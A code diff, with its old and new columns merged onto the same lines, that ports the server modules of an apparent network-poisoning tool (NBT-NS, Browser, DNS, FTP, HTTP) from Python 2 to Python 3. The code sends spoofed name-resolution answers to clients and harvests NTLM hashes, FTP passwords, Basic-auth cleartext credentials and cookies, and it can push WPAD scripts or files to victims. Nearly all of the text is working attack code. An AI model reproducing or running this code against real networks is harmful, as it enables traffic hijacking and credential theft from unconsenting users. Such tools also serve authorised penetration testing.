if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]" LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'NBT-NS', 'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -61,13 +65,11 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode else: # Poisoning Mode
Buffer = NBT_Ans() Buffer1 = NBT_Ans()
Buffer.calculate(data) Buffer1.calculate(data)
socket.sendto(str(Buffer), self.client_address) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [NBT-NS]" LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'NBT-NS', 'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -76,5 +78,5 @@ class NBTNS(BaseRequestHandler):
}) })
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

View file

@ -14,40 +14,43 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from utils import * from utils import *
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
import struct import struct
def WorkstationFingerPrint(data): def WorkstationFingerPrint(data):
return { return {
"\x04\x00" :"Windows 95", b"\x04\x00" :"Windows 95",
"\x04\x0A" :"Windows 98", b"\x04\x0A" :"Windows 98",
"\x04\x5A" :"Windows ME", b"\x04\x5A" :"Windows ME",
"\x05\x00" :"Windows 2000", b"\x05\x00" :"Windows 2000",
"\x05\x01" :"Windows XP", b"\x05\x01" :"Windows XP",
"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008", b"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2", b"\x06\x01" :"Windows 7/Server 2008R2",
"\x06\x02" :"Windows 8/Server 2012", b"\x06\x02" :"Windows 8/Server 2012",
"\x06\x03" :"Windows 8.1/Server 2012R2", b"\x06\x03" :"Windows 8.1/Server 2012R2",
"\x0A\x00" :"Windows 10/Server 2016", b"\x0A\x00" :"Windows 10/Server 2016",
}.get(data, 'Unknown') }.get(data, 'Unknown')
def RequestType(data): def RequestType(data):
return { return {
"\x01": 'Host Announcement', b"\x01": 'Host Announcement',
"\x02": 'Request Announcement', b"\x02": 'Request Announcement',
"\x08": 'Browser Election', b"\x08": 'Browser Election',
"\x09": 'Get Backup List Request', b"\x09": 'Get Backup List Request',
"\x0a": 'Get Backup List Response', b"\x0a": 'Get Backup List Response',
"\x0b": 'Become Backup Browser', b"\x0b": 'Become Backup Browser',
"\x0c": 'Domain/Workgroup Announcement', b"\x0c": 'Domain/Workgroup Announcement',
"\x0d": 'Master Announcement', b"\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement', b"\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement', b"\x0f": 'Local Master Announcement',
}.get(data, 'Unknown') }.get(data, 'Unknown')
@ -55,13 +58,13 @@ def PrintServerName(data, entries):
if entries <= 0: if entries <= 0:
return None return None
entrieslen = 26 * entries entrieslen = 26 * entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries chunks, chunk_size = len(data[:entrieslen]), entrieslen//entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
l = [] l = []
for x in ServerName: for x in ServerName:
fingerprint = WorkstationFingerPrint(x[16:18]) fingerprint = WorkstationFingerPrint(x[16:18])
name = x[:16].replace('\x00', '') name = x[:16].strip(b'\x00').decode('latin-1')
l.append('%s (%s)' % (name, fingerprint)) l.append('%s (%s)' % (name, fingerprint))
return l return l
@ -70,24 +73,24 @@ def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0] PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2] StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00": if StatusCode == b'\x00\x00':
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0] EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum) return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return None return ''
def RAPThisDomain(Client,Domain): def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None: if PDC is not None:
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) print(text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)))
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00") SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None: if SQL is not None:
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) print(text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))))
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff") WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None: if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) print(text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))))
def RapFinger(Host, Domain, Type): def RapFinger(Host, Domain, Type):
@ -101,49 +104,49 @@ def RapFinger(Host, Domain, Type):
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)#struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(1024) data = s.recv(1024)
# Session Setup AndX Request, Anonymous. # Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",mid="\x02\x00") Header = SMBHeader(cmd="\x73",mid="\x02\x00")
Body = SMBSessionData() Body = SMBSessionData()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(1024) data = s.recv(1024)
# Tree Connect IPC$. # Tree Connect IPC$.
if data[8:10] == "\x73\x00": if data[8:10] == b'\x73\x00':
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34].decode('latin-1'),mid="\x03\x00")
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(1024) data = s.recv(1024)
# Rap ServerEnum. # Rap ServerEnum.
if data[8:10] == "\x75\x00": if data[8:10] == b'\x75\x00':
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x04\x00")
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(64736) data = s.recv(64736)
# Rap ServerEnum, Get answer and return what we're looking for. # Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00": if data[8:10] == b'\x25\x00':
s.close() s.close()
return ParsePacket(data) return ParsePacket(data)
except: except:
@ -162,8 +165,10 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48]) Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
print RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)
except: except:
pass pass
@ -177,8 +182,10 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
print RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)
except: except:
pass pass
@ -189,7 +196,7 @@ class Browser(BaseRequestHandler):
request, socket = self.request request, socket = self.request
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0]) ParseDatagramNBTNames(NetworkRecvBufferPython2or3(request),self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])

View file

@ -14,9 +14,12 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import DNS_Ans
from SocketServer import BaseRequestHandler
from utils import * from utils import *
from packets import DNS_Ans
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
def ParseDNSType(data): def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
@ -34,14 +37,12 @@ class DNS(BaseRequestHandler):
try: try:
data, soc = self.request data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(data) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(str(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception: except Exception:
pass pass
@ -55,14 +56,12 @@ class DNSTCP(BaseRequestHandler):
try: try:
data = self.request.recv(1024) data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(data) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(str(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception: except Exception:
pass pass

View file

@ -15,27 +15,31 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import FTPPacket from packets import FTPPacket
class FTP(BaseRequestHandler): class FTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(FTPPacket())) self.request.send(NetworkSendBufferPython2or3(FTPPacket()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "USER": if data[0:4] == b'USER':
User = data[5:].strip() User = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="331",Message="User name okay, need password.") Packet = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "PASS": if data[0:4] == b'PASS':
Pass = data[5:].strip() Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.") Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024) data = self.request.recv(1024)
SaveToDb({ SaveToDb({
@ -49,7 +53,7 @@ class FTP(BaseRequestHandler):
else: else:
Packet = FTPPacket(Code="502",Message="Command not implemented.") Packet = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:

View file

@ -15,10 +15,13 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
from SocketServer import BaseRequestHandler, StreamRequestHandler import codecs
from base64 import b64decode
from utils import * from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode, b64encode
from packets import NTLM_Challenge from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
from packets import WPADScript, ServeExeFile, ServeHtmlFile from packets import WPADScript, ServeExeFile, ServeHtmlFile
@ -28,28 +31,29 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
def ParseHTTPHash(data, Challenge, client, module): def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0] LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[20:22])[0] NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0] NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() NTHash = data[NthashOffset:NthashOffset+NthashLen]
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
UserLen = struct.unpack('<H',data[36:38])[0] UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0] UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','') User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
if NthashLen == 24: if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0] HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
SaveToDb({ SaveToDb({
'module': module, 'module': module,
'type': 'NTLMv1', 'type': 'NTLMv1',
'client': client, 'client': client,
'host': HostName, 'host': HostName,
'user': User, 'user': User,
'hash': LMHash+":"+NTHash, 'hash': LMHashFinal+':'+NTHashFinal,
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
@ -57,19 +61,18 @@ def ParseHTTPHash(data, Challenge, client, module):
NthashLen = 64 NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0] DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0] DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','') Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0] HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
SaveToDb({ SaveToDb({
'module': module, 'module': module,
'type': 'NTLMv2', 'type': 'NTLMv2',
'client': client, 'client': client,
'host': HostName, 'host': HostName,
'user': Domain + '\\' + User, 'user': Domain + '\\' + User,
'hash': NTHash[:32] + ":" + NTHash[32:], 'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
@ -79,7 +82,7 @@ def GrabCookie(data, host):
if Cookie: if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '') Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose: if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie) print(text("[HTTP] Cookie : %s " % Cookie))
return Cookie return Cookie
return False return False
@ -89,7 +92,7 @@ def GrabHost(data, host):
if Host: if Host:
Host = Host.group(0).replace('Host: ', '') Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3)) print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host return Host
return False return False
@ -99,18 +102,18 @@ def GrabReferer(data, host):
if Referer: if Referer:
Referer = Referer.group(0).replace('Referer: ', '') Referer = Referer.group(0).replace('Referer: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Referer : %s " % color(Referer, 3)) print(text("[HTTP] Referer : %s " % color(Referer, 3)))
return Referer return Referer
return False return False
def SpotFirefox(data): def SpotFirefox(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent: if UserAgent:
print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
IsFirefox = re.search('Firefox', UserAgent[0]) IsFirefox = re.search('Firefox', UserAgent[0])
if IsFirefox: if IsFirefox:
print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
return True return True
else: else:
return False return False
@ -155,7 +158,7 @@ def RespondWithFile(client, filename, dlname=None):
Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer = ServeHtmlFile(Payload = ServeFile(filename))
Buffer.calculate() Buffer.calculate()
print text("[HTTP] Sending file %s to %s" % (filename, client)) print(text("[HTTP] Sending file %s to %s" % (filename, client)))
return str(Buffer) return str(Buffer)
def GrabURL(data, host): def GrabURL(data, host):
@ -164,13 +167,13 @@ def GrabURL(data, host):
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose: if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) print(text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))))
if POST and settings.Config.Verbose: if POST and settings.Config.Verbose:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) print(text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))))
if len(''.join(POSTDATA)) > 2: if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) print(text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()))
# Handle HTTP packet sequence. # Handle HTTP packet sequence.
def PacketSequence(data, client, Challenge): def PacketSequence(data, client, Challenge):
@ -192,20 +195,20 @@ def PacketSequence(data, client, Challenge):
if NTLM_Auth: if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01": if Packet_NTLM == b'\x01':
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) GrabReferer(data, client)
GrabHost(data, client) GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=Challenge) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate() Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate(str(Buffer)) #Buffer_Ans.calculate(Buffer)
return str(Buffer_Ans) return Buffer_Ans
if Packet_NTLM == "\x03": if Packet_NTLM == b'\x03':
NTLM_Auth = b64decode(''.join(NTLM_Auth)) NTLM_Auth = b64decode(''.join(NTLM_Auth))
if IsWebDAV(data): if IsWebDAV(data):
module = "WebDAV" module = "WebDAV"
@ -214,13 +217,13 @@ def PacketSequence(data, client, Challenge):
ParseHTTPHash(NTLM_Auth, Challenge, client, module) ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print(text("[HTTP] WPAD (auth) file sent to %s" % client))
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return NetworkSendBufferPython2or3(Buffer)
elif Basic_Auth: elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth))
@ -234,31 +237,31 @@ def PacketSequence(data, client, Challenge):
'module': 'HTTP', 'module': 'HTTP',
'type': 'Basic', 'type': 'Basic',
'client': client, 'client': client,
'user': ClearText_Auth.split(':')[0], 'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.split(':')[1], 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
}) })
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print(text("[HTTP] WPAD (auth) file sent to %s" % client))
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return NetworkSendBufferPython2or3(Buffer)
else: else:
if settings.Config.Basic: if settings.Config.Basic:
Response = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client) print(text("[HTTP] Sending BASIC authentication request to %s" % client))
else: else:
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client) print(text("[HTTP] Sending NTLM authentication request to %s" % client))
return str(Response) return Response
# HTTP Server class # HTTP Server class
class HTTP(BaseRequestHandler): class HTTP(BaseRequestHandler):
@ -266,14 +269,13 @@ class HTTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge() Challenge = RandomChallenge()
while True: while True:
self.request.settimeout(3) self.request.settimeout(3)
remaining = 10*1024*1024 #setting max recieve size remaining = 10*1024*1024 #setting max recieve size
data = '' data = ''
while True: while True:
buff = '' buff = ''
buff = self.request.recv(8092) buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
if buff == '': if buff == '':
break break
data += buff data += buff
@ -298,14 +300,14 @@ class HTTP(BaseRequestHandler):
Buffer = WpadCustom(data, self.client_address[0]) Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False: if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
self.request.close() self.request.close()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
else: else:
Buffer = PacketSequence(data,self.client_address[0], Challenge) Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
except socket.error: except socket.error:
pass pass

View file

@ -14,13 +14,18 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
if settings.Config.PY2OR3 is "PY3":
import urllib.parse as urlparse
import http.server as BaseHTTPServer
else:
import urlparse import urlparse
import select
import zlib
import BaseHTTPServer import BaseHTTPServer
import select
import zlib
from servers.HTTP import RespondWithFile from servers.HTTP import RespondWithFile
from utils import *
